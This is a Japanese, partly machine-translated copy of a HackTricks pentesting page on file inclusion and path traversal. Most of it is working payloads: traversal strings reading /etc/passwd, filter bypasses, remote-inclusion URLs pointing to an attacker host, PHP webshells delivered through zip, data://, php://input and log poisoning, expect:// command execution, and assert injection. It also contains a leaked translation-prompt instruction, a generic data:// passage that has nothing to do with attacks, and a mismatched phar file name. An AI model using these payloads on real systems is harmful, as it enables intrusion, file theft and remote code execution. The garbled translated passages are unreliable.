hacktricks/pentesting-web/file-inclusion/README.md

719 lines
46 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# ファイルインクルージョン/パストラバーサル
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2023-07-07 23:42:27 +00:00
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
</details>
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
**HackenProofはすべての暗号バグバウンティの場です。**
2023-02-27 09:28:45 +00:00
**遅延なしで報酬を受け取る**\
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
2023-02-27 09:28:45 +00:00
**Web3ペントestingの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のweb3セキュリティをマスターしましょう。
2023-02-27 09:28:45 +00:00
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
## ファイルインクルージョン
2023-07-07 23:42:27 +00:00
**リモートファイルインクルージョンRFI** ファイルはリモートサーバーからロードされます最適コードを書いてサーバーが実行します。PHPでは、これはデフォルトで**無効**になっています(**allow\_url\_include**)。\
**ローカルファイルインクルージョンLFI** サーバーがローカルファイルをロードします。
2023-07-07 23:42:27 +00:00
この脆弱性は、ユーザーがサーバーがロードするファイルを何らかの方法で制御できる場合に発生します。
2023-07-07 23:42:27 +00:00
脆弱な**PHP関数**require、require\_once、include、include\_once
2023-07-07 23:42:27 +00:00
この脆弱性を悪用するための興味深いツール:[https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
2022-06-19 19:09:48 +00:00
## Blind - Interesting - LFI2RCE files
2020-12-27 12:39:54 +00:00
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
2022-06-19 19:09:48 +00:00
### **Linux**
2023-07-07 23:42:27 +00:00
**複数の\*nix LFIリストを組み合わせ、さらにパスを追加して、次のリストを作成しました:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
2021-06-27 21:56:13 +00:00
2023-07-07 23:42:27 +00:00
`/`を`\`に変更してみてください\
`../../../../../`を追加してみてください
2021-06-27 20:19:16 +00:00
2023-07-07 23:42:27 +00:00
脆弱性の存在を確認するために、/etc/passwordファイルを見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)で見つけることができます。
2022-06-19 19:09:48 +00:00
### **Windows**
複数のリストを統合して、次のリストを作成しました:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
2023-07-07 23:42:27 +00:00
`/`を`\`に変更してみてください\
`C:/`を削除して`../../../../../`を追加してみてください
2023-07-07 23:42:27 +00:00
脆弱性の存在を確認するために、/boot.iniファイルを見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)で見つけることができます。
2022-06-19 19:09:48 +00:00
### **OS X**
2023-07-07 23:42:27 +00:00
LinuxのLFIリストを確認してください。
2023-07-07 23:42:27 +00:00
## 基本的なLFIとバイパス
すべての例はローカルファイルインクルージョンのためのものですが、リモートファイルインクルージョンにも適用することができますpage=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/)。
```
http://example.com/index.php?page=../../../etc/passwd
```
2023-07-07 23:42:27 +00:00
### 非再帰的に剥奪されたトラバーサルシーケンス
In this technique, we will focus on exploiting file inclusion vulnerabilities by using traversal sequences that have been stripped non-recursively. This means that we will not be able to use double encoding or other techniques to bypass input filters.
この技術では、再帰的に剥奪されたトラバーサルシーケンスを使用して、ファイルインクルージョンの脆弱性を悪用します。これは、入力フィルタをバイパスするためのダブルエンコーディングや他の技術を使用することができないことを意味します。
To perform this attack, we need to identify the vulnerable parameter that allows file inclusion. Once we have identified the parameter, we can start testing for traversal vulnerabilities.
この攻撃を実行するには、ファイルインクルージョンを許可する脆弱なパラメータを特定する必要があります。パラメータを特定したら、トラバーサルの脆弱性をテストすることができます。
Instead of using the usual traversal sequences like "../" or "..\", we will use alternative sequences that have been stripped non-recursively. These sequences may include variations such as "..%c0%af" or "..%252f".
通常のトラバーサルシーケンス("../"や"..\")の代わりに、再帰的に剥奪された代替シーケンスを使用します。これらのシーケンスには、"..%c0%af"や"..%252f"などのバリエーションが含まれる場合があります。
By using these alternative sequences, we can bypass input filters that only check for the presence of "../" or "..\". This allows us to access files outside of the intended directory and potentially retrieve sensitive information.
これらの代替シーケンスを使用することで、"../"や"..\"の存在のみをチェックする入力フィルタをバイパスすることができます。これにより、意図したディレクトリの外部のファイルにアクセスし、機密情報を取得する可能性があります。
It is important to note that not all applications will be vulnerable to this technique, as some may have implemented additional security measures to prevent traversal attacks. Therefore, it is crucial to thoroughly test the target application and verify the effectiveness of this technique before proceeding with further exploitation.
すべてのアプリケーションがこの技術に対して脆弱であるわけではないことに注意してください。一部のアプリケーションは、トラバーサル攻撃を防ぐために追加のセキュリティ対策を実装している場合があります。したがって、さらなる攻撃を行う前に、対象のアプリケーションを徹底的にテストし、この技術の有効性を確認することが重要です。
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
2023-07-07 23:42:27 +00:00
### **ヌルバイト(%00**
2023-07-07 23:42:27 +00:00
提供された文字列の末尾に追加の文字をバイパスする(バイパス方法:$\_GET\['param']."php"
```
http://example.com/index.php?page=../../../etc/passwd%00
```
2023-07-07 23:42:27 +00:00
これは**PHP 5.4以降で解決済みです**
2023-07-07 23:42:27 +00:00
### **エンコーディング**
2023-07-07 23:42:27 +00:00
ダブルURLエンコードおよびその他のような非標準のエンコーディングを使用することができます
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
2023-07-07 23:42:27 +00:00
### 既存のフォルダから
2023-07-07 23:42:27 +00:00
おそらくバックエンドはフォルダのパスをチェックしています。
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### サーバー上のフォルダーの特定
アプリケーションのコードや許可された文字によっては、ファイルだけでなくフォルダーも再帰的に探索することができる場合があります。そのためには、次の手順を実行します。
2022-12-03 18:45:54 +00:00
2023-07-07 23:42:27 +00:00
* 現在のディレクトリの「深さ」を特定するために、`/etc/passwd`Linuxの場合を正常に取得します。
2022-11-23 16:52:53 +00:00
```
http://example.com/index.php?page=../../../etc/passwd # depth of 3
2022-12-03 18:45:54 +00:00
```
* 現在のディレクトリにあるフォルダの名前を推測し、フォルダ名(ここでは `private`)を追加してから `/etc/passwd` に戻ります。
2022-11-23 16:52:53 +00:00
```
2023-07-07 23:42:27 +00:00
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
2022-11-23 16:52:53 +00:00
```
2023-07-07 23:42:27 +00:00
* アプリケーションが脆弱である場合、リクエストには2つの異なる結果があります
* エラー/出力がない場合、この場所には `private` フォルダが存在しません
* `/etc/passwd` からのコンテンツを取得した場合、現在のディレクトリに `private` フォルダが実際に存在することが確認されます
* このテクニックを使用して発見したフォルダは、クラシックなLFIメソッドを使用してファイルまたは同じテクニックを再帰的に使用してサブディレクトリに対してファズテストを行うことができます。
2022-11-23 16:52:53 +00:00
このテクニックを使用して、ファイルシステム内の任意の場所にディレクトリが存在するかどうかを確認することも可能です。たとえば、同じ仮定ファイルシステムの深さ3の現在のディレクトリの下で、`/var/www/` に `private` ディレクトリが含まれているかどうかを確認する場合、次のペイロードを使用します:
2022-11-23 16:52:53 +00:00
```
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
2023-07-07 23:42:27 +00:00
次のコマンドのシーケンスは、`sed`1を使用してペイロードを生成し、`ffuf`2などのURLファジングツールの入力として使用することができます。
2022-11-23 16:52:53 +00:00
2023-07-07 23:42:27 +00:00
```bash
$ sed 's/^/-H "X-Original-URL: /;s/$/" /' payloads.txt | ffuf -w - -u FUZZ -mc all
```
このコマンドのシーケンスは、`payloads.txt`ファイル内の各行に対して`sed`を使用して変換を行います。変換された各行は、`-H "X-Original-URL: 変換後の行"`の形式になります。その後、`ffuf`を使用してURLファジングを実行します。`-w -`は、`sed`の出力を`ffuf`の入力として使用することを意味します。`-u FUZZ`は、`ffuf`がFUZZという文字列をURL内で置き換えることを指定します。`-mc all`は、すべてのHTTPステータスコードを表示するように`ffuf`に指示します。
このシーケンスを使用すると、`sed`を使用して生成されたペイロードを効果的にURLファジングに使用することができます。
2022-11-23 16:52:53 +00:00
```
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
```
当然、深さ/場所/入力ディレクトリリストに応じてペイロードを調整してください。
2022-12-03 18:45:54 +00:00
2023-07-07 23:42:27 +00:00
### **パスの切り詰め**
提供された文字列の末尾にさらに文字を追加することをバイパスします(バイパス方法:$\_GET\['param']."php"
```
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
常に、パスを**偽のディレクトリ**a/)で**始める**ようにしてください。
2023-07-07 23:42:27 +00:00
**この脆弱性はPHP 5.3で修正されました。**
### **フィルターバイパスのトリック**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
```
2023-07-07 23:42:27 +00:00
## 基本的な RFI
このセクションでは、リモートファイルインクルージョンRFI攻撃について説明します。RFIは、ウェブアプリケーションの脆弱性を悪用して、外部のファイルをサーバーに読み込む攻撃手法です。
2023-07-07 23:42:27 +00:00
RFI攻撃は、ウェブアプリケーションがユーザーからの入力を適切に検証せずに使用する場合に発生します。攻撃者は、ウェブアプリケーションが外部ファイルを読み込むためのパラメータを操作し、任意のファイルをサーバーに読み込ませることができます。
2023-07-07 23:42:27 +00:00
RFI攻撃の一般的な手法は、外部のリソースをインクルードするための関数や機能を悪用することです。例えば、PHPの`include`や`require`関数を使用して外部ファイルを読み込む場合、攻撃者はそのパラメータを操作して任意のファイルを読み込ませることができます。
RFI攻撃の影響は、攻撃者が読み込ませた外部ファイルの内容に依存します。攻撃者は、機密情報の漏洩、システムの乗っ取り、リモートコード実行など、さまざまな攻撃を実行することができます。
RFI攻撃を防ぐためには、入力の検証とサニタイズが重要です。ウェブアプリケーションは、外部ファイルを読み込む前に、パラメータの信頼性を確認する必要があります。また、セキュリティパッチやアップデートの適用も重要です。
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
2023-07-07 23:42:27 +00:00
## Pythonのルート要素
2023-07-07 23:42:27 +00:00
Pythonでは、次のようなコードでルート要素を指定します。
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
2023-07-07 23:42:27 +00:00
ユーザーが**絶対パス**を**`file_name`**に渡す場合、**前のパスは単に削除**されます。
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
以下は、ハッキング技術に関する本の内容です。以下の内容は、pentesting-web/file-inclusion/README.mdファイルからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。
```markdown
これは[ドキュメント](https://docs.python.org/3.10/library/os.path.html#os.path.join)による意図された動作です:
> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、絶対パスコンポーネントからの結合が続行されます。
## Javaディレクトリのリスト
Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求**すると、**ディレクトリのリストが返されます**。これは他の言語では起こりません(私の知る限り)。
## 上位25のパラメータ
以下は、ローカルファイルインクルージョンLFIの脆弱性に対して脆弱性のある可能性のある上位25のパラメータのリストです[リンク](https://twitter.com/trbughunters/status/1279768631845494787)から):
```
```
2020-07-29 09:22:22 +00:00
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
2023-07-07 23:42:27 +00:00
## PHPラッパーとプロトコルを使用したLFI / RFI
2022-06-19 19:09:48 +00:00
### php://filter
2023-07-07 23:42:27 +00:00
PHPフィルターを使用すると、データを読み取る前または書き込む前に基本的な**変更操作**を行うことができます。フィルターには5つのカテゴリがあります
* [文字列フィルター](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: データからタグを削除します("<"と">"の間のすべての文字)
* このフィルターは、最新バージョンのPHPから消えています
* [変換フィルター](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**すべてのエンコーディングのリスト**を取得するには、コンソールで次のコマンドを実行します:`iconv -l`
2022-06-20 07:40:16 +00:00
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
`convert.iconv.*`変換フィルターを悪用すると、**任意のテキストを生成**することができます。これは、任意のテキストを書き込むか、任意のテキストを処理するような関数を作成するのに役立ちます。詳細については、[**phpフィルターを介したLFI2RCE**](lfi2rce-via-php-filters.md)を参照してください。
2022-06-20 07:40:16 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
* [圧縮フィルター](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: コンテンツを圧縮します(大量の情報を外部に持ち出す場合に便利です)
* `zlib.inflate`: データを解凍します
* [暗号化フィルター](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*` : 廃止予定
* `mdecrypt.*` : 廃止予定
* その他のフィルター
* phpで`var_dump(stream_get_filters());`を実行すると、いくつかの**予期しないフィルター**が見つかります:
2023-07-07 23:42:27 +00:00
* `consumed`
* `dechunk`: HTTPチャンクエンコーディングを逆転させます
* `convert.*`
2022-06-19 19:09:48 +00:00
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
```
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
「php://filter」という部分は大文字小文字を区別しません
2022-06-19 19:09:48 +00:00
{% endhint %}
2022-06-19 19:09:48 +00:00
### php://fd
このラッパーは、プロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれたファイルの内容を外部に持ち出すのに役立つ可能性があります。
2022-06-19 19:09:48 +00:00
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
以下のように、**php://stdin、php://stdout、および php://stderr** を使用して、それぞれ **ファイルディスクリプタ 0、1、および 2** にアクセスすることもできます(攻撃にどのように役立つかはわかりません)
2023-07-07 23:42:27 +00:00
### zip:// および rar://
PHPShell が含まれた Zip または Rar ファイルをアップロードしてアクセスします。\
rar プロトコルを悪用するためには、**明示的に有効化する必要があります**。
```bash
2023-07-07 23:42:27 +00:00
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
2022-06-19 19:09:48 +00:00
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
# data://
data://は、データスキームの一種であり、ウェブページ内に直接データを埋め込むために使用されます。このスキームは、ウェブページのコンテンツを外部ファイルから取得する必要がない場合に便利です。
2023-07-07 23:42:27 +00:00
data://スキームは、HTMLやCSSのようなウェブコンテンツでよく使用されます。データは、Base64エンコードされた形式でURLに直接埋め込まれます。これにより、外部ファイルの読み込みやネットワークリクエストの必要性がなくなります。
2023-07-07 23:42:27 +00:00
data://スキームを使用すると、ウェブページの読み込み速度が向上し、セキュリティ上のリスクも軽減されます。ただし、データの埋め込みが大量になると、ページのサイズが増大し、パフォーマンスに影響を与える可能性があるため、注意が必要です。
以下は、data://スキームの使用例です。
```html
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA..." alt="Embedded Image">
```
この例では、Base64エンコードされたPNG画像が直接ウェブページに埋め込まれています。外部ファイルの読み込みが不要なため、画像の表示が高速に行われます。
data://スキームは、ウェブページのパフォーマンスを向上させるための便利なツールですが、適切に使用する必要があります。データの埋め込みが必要な場合は、data://スキームを検討してみてください。
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
2020-12-27 12:55:25 +00:00
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
2022-06-13 10:17:45 +00:00
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
2023-07-07 23:42:27 +00:00
楽しい事実XSSをトリガーし、Chromeオーディターをバイパスすることができます。以下のコードを使用します`http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
ただし、このプロトコルはphpの設定で制限されています。**`allow_url_open`** と **`allow_url_include`** を設定する必要があります。
2021-05-04 22:57:00 +00:00
2022-06-19 19:09:48 +00:00
### expect://
Expectは有効化する必要があります。これを使用してコードを実行できます。
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
2022-06-19 19:09:48 +00:00
### input://
2023-07-07 23:42:27 +00:00
POSTパラメーターにペイロードを指定してください。
```
http://example.com/index.php?page=php://input
2020-12-27 12:40:59 +00:00
POST DATA: <?php system('id'); ?>
```
2022-06-19 19:09:48 +00:00
### phar://
2023-07-07 23:42:27 +00:00
ウェブがファイルをロードするために`include`のような関数を使用している場合、`.phar`ファイルを使用してPHPコードを実行することもできます。
2021-03-19 23:08:07 +00:00
{% code title="create_phar.php" %}
2021-03-19 23:08:07 +00:00
```python
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
{% endcode %}
2023-07-07 23:42:27 +00:00
そして、次の行を実行して`phar`をコンパイルすることができます。
2021-03-19 23:08:07 +00:00
```bash
php --define phar.readonly=0 create_path.php
```
`test.phar`というファイルが生成されます。これを使用してLFIを悪用することができます。
2021-03-19 23:08:07 +00:00
2023-07-07 23:42:27 +00:00
LFIが単にファイルを読み取り、その中のPHPコードを実行しない場合、例えば`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()`などの関数を使用している場合、**phar**プロトコルを使用してファイルを**読み取る**際に発生する**逆シリアル化**を悪用することができます。
詳細については、次の投稿を読んでください:
2021-03-19 23:11:18 +00:00
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
{% endcontent-ref %}
2021-03-19 23:11:18 +00:00
2023-07-07 23:42:27 +00:00
### その他のプロトコル
2021-05-04 22:57:00 +00:00
2023-07-07 23:42:27 +00:00
[**ここに含める可能性のあるプロトコル**](https://www.php.net/manual/en/wrappers.php)**を**チェックしてください**
2022-06-19 19:09:48 +00:00
2023-07-07 23:42:27 +00:00
* [php://memoryとphp://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかはわかりません)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
* [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s)のURLへのアクセス
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s)のURLへのアクセス
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索(印刷可能なものを返さないため、ここではあまり役に立ちません)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読み取るのには役に立ちません)
2023-07-07 23:42:27 +00:00
## PHPの'assert'を使用したLFI
2023-07-07 23:42:27 +00:00
".. "などのトラバーサル文字列をフィルタリングしているような難解なLFIに遭遇し、"Hacking attempt"や"Nice try!"などの応答が返される場合、'assert'インジェクションペイロードが機能するかもしれません。
2023-07-07 23:42:27 +00:00
次のようなペイロード:
```
' and die(show_source('/etc/passwd')) or '
```
次に、このような「file」パラメータを持つPHPコードを正常に悪用します。
2023-03-23 12:48:36 +00:00
```bash
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
```
2023-07-07 23:42:27 +00:00
次に、system()関数を使用して脆弱な「assert」ステートメントでRCEリモートコード実行を行う方法があります。
```
' and die(system("whoami")) or '
```
2023-07-07 23:42:27 +00:00
ペイロードを送信する前に、必ずURLエンコードしてください。
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-10-27 14:46:56 +00:00
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについて詳しく学びましょう**
2023-02-27 09:28:45 +00:00
2023-07-07 23:42:27 +00:00
🐞 web3のバグチュートリアルを読む
2023-02-27 09:28:45 +00:00
2023-07-07 23:42:27 +00:00
🔔 新しいバグ報奨金について通知を受ける
2023-02-27 09:28:45 +00:00
💬 コミュニティディスカッションに参加する
2022-10-27 14:46:56 +00:00
2023-03-23 12:48:36 +00:00
## PHP Blind Path Traversal
2023-03-23 12:54:51 +00:00
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
このテクニックは、**PHP関数**が**ファイルにアクセス**するための**ファイルパス**を**制御**できる場合に関連しますが、ファイルの内容(**`file()`**への単純な呼び出しのように)は表示されません。
2023-03-23 12:54:51 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、PHPフィルタを介して盲目的なパストラバーサルがどのように悪用され、エラーオラクルを介してファイルの内容を**外部に流出**させることが説明されています。
2023-03-23 12:48:36 +00:00
要約すると、このテクニックは、ファイルの内容を非常に**大きく**するために**「UCS-4LE」エンコーディング**を使用し、ファイルを開く**PHP関数がエラーをトリガー**するようにします。
2023-03-23 12:48:36 +00:00
次に、最初の文字を漏洩させるために、フィルタ**`dechunk`**を他のフィルタ(例:**base64**または**rot13**)と共に使用し、最後にフィルタ**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**を使用して他の文字を**先頭に配置して漏洩**させます。
2023-03-23 12:48:36 +00:00
**脆弱性のある可能性のある関数**`file_get_contents`、`readfile`、`finfo->file`、`getimagesize`、`md5_file`、`sha1_file`、`hash_file`、`file`、`parse_ini_file`、`copy`、`file_put_contentsこれには読み取り専用のターゲットのみが対象`、`stream_get_contents`、`fgets`、`fread`、`fgetc`、`fgetcsv`、`fpassthru`、`fputs`
2023-03-23 12:54:51 +00:00
2023-07-07 23:42:27 +00:00
詳細な技術的な詳細については、上記の投稿を確認してください!
2023-03-23 12:48:36 +00:00
2022-06-19 19:09:48 +00:00
## LFI2RCE
2023-07-07 23:42:27 +00:00
### 基本的なRFI
2020-12-27 12:29:29 +00:00
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
2023-07-07 23:42:27 +00:00
### Apache/Nginxログファイル経由
2020-12-27 12:29:29 +00:00
ApacheまたはNginxサーバーがinclude関数内で**LFIに対して脆弱**である場合、**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスしようとすることができます。**ユーザーエージェント**または**GETパラメータ**の中に、**`<?php system($_GET['c']); ?>`**のようなPHPシェルを設定し、そのファイルをインクルードします。
{% hint style="warning" %}
シェルには**シングルクォート**ではなく**ダブルクォート**を使用する場合、ダブルクォートは文字列"_**quote;**_"に変更され、**PHPはエラーをスロー**し、他の処理は実行されません。
また、ペイロードを**正しく記述**することを確認してください。そうしないと、ログファイルの読み込みを試みるたびにPHPがエラーを出し、二度目の機会はありません。
{% endhint %}
2023-07-07 23:42:27 +00:00
これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これによってシェルが破壊される可能性があります。ヘッダーの**authorisation "basic"**にはBase64で"user:password"が含まれており、ログ内でデコードされます。PHPシェルはこのヘッダー内に挿入される可能性があります。
2021-05-02 18:07:06 +00:00
2023-07-07 23:42:27 +00:00
他の可能なログパス:
2021-05-02 18:07:06 +00:00
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
